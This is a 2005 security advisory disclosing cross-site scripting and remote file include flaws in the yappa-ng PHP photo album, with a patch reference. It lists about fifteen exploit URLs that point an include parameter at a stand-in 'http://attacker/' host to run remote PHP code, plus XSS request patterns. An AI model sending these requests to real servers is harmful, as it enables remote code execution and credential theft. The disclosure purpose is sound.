##########################################################
# GulfTech Security Research            May 11th, 2005
##########################################################
# Vendor  : Fritz Berger
# URL     : http://sourceforge.net/projects/yappa-ng/
# Version : yappa-ng 2.3.1 && Earlier
# Risk    : Multiple Vulnerabilities
##########################################################



Description:
Yappa-NG is the second generation (new and improved) version
of Yappa (yet another php photo album). There are several
vulnerabilities in Yappa-NG that may allow an attacker to
possibly take control of the vulnerable server. In order to
exploit these vulnerabilities register_globals must be on. An
updated version of Yappa-NG is available, and users should
upgrade as soon as possible.



Cross Site Scripting:
Cross site scripting exists in Yappa-NG. This vulnerability
exists due to user supplied input not being checked properly.

http://host/admin_modules/admin_module_info.inc.php?lang_akt[admin_ainfo_hmain]=[XSS]
http://host/src/index_footer-copyright.inc.php?config[release]=[XSS]
http://host/src/index_thumbs.inc.php?page[thumb_table_width]=[XSS]

This vulnerability could be used to steal cookie based
authentication credentials within the scope of the current domain,
or render hostile code in a victim's browser.



Remote File Include Vulnerability:
Yappa-NG is prone to both remote and local file include
vulnerabilities which may allow for an attacker to execute arbitrary
commands on the victim webserver by including malicious files.

http://host/admin_modules/admin_module_captions.inc.php?config[path_src_include]=http://attacker/
http://host/admin_modules/admin_module_rotimage.inc.php?config[path_src_include]=http://attacker/
http://host/admin_modules/admin_module_delcomments.inc.php?config[path_src_include]=http://attacker/
http://host/admin_modules/admin_module_edit.inc.php?config[path_src_include]=http://attacker/
http://host/admin_modules/admin_module_delimage.inc.php?config[path_src_include]=http://attacker/
http://host/admin_modules/admin_module_deldir.inc.php?config[path_src_include]=http://attacker/
http://host/src/index_overview.inc.php?config[path_src_include]=http://attacker/
http://host/src/index_leftnavbar.inc.php?config[path_src_include]=http://attacker/&config[show_album_desc_prev]=yes
http://host/src/index_image.inc.php?config[path_src_include]=http://attacker/&config[show_comments]=1&config_album[show_comments]=1
http://host/src/image-gd.class.php?config[path_src_include]=http://attacker/
http://host/src/image.class.php?config[path_src_include]=http://attacker/&config[image_module]=blah
http://host/src/album.class.php?config[path_src_include]=http://attacker/
http://host/src/show_random.inc.php?config[path_src_include]=http://attacker/
http://host/src/main.inc.php?config[path_src_include]=http://attacker/
http://host/src/index_passwd-admin.inc.php?admin_ok=1&config[path_admin_include]=http://attacker/

If globals are set to on, and no include restrictions are in effect then
we can include any php code of our choice remotely. Of course the server
hosting the malicious file to be included could not have php enabled, or
the file would be parsed before it reached the victim server.
This issue is very dangerous when present, but regardless of your server
configuration you are still encouraged to upgrade immediately.



Solution:
The developer was contacted quite some time ago, and a patch has been
available for several weeks. The patch can be found here.

https://sourceforge.net/project/showfiles.php?group_id=70802

All Yappa-NG users are advised to upgrade immediately.



Related Info:
The original advisory can be found at the following location
http://www.gulftech.org/?node=research&article_id=00074-05112005



Credits:
James Bercegay of the GulfTech Security Research Team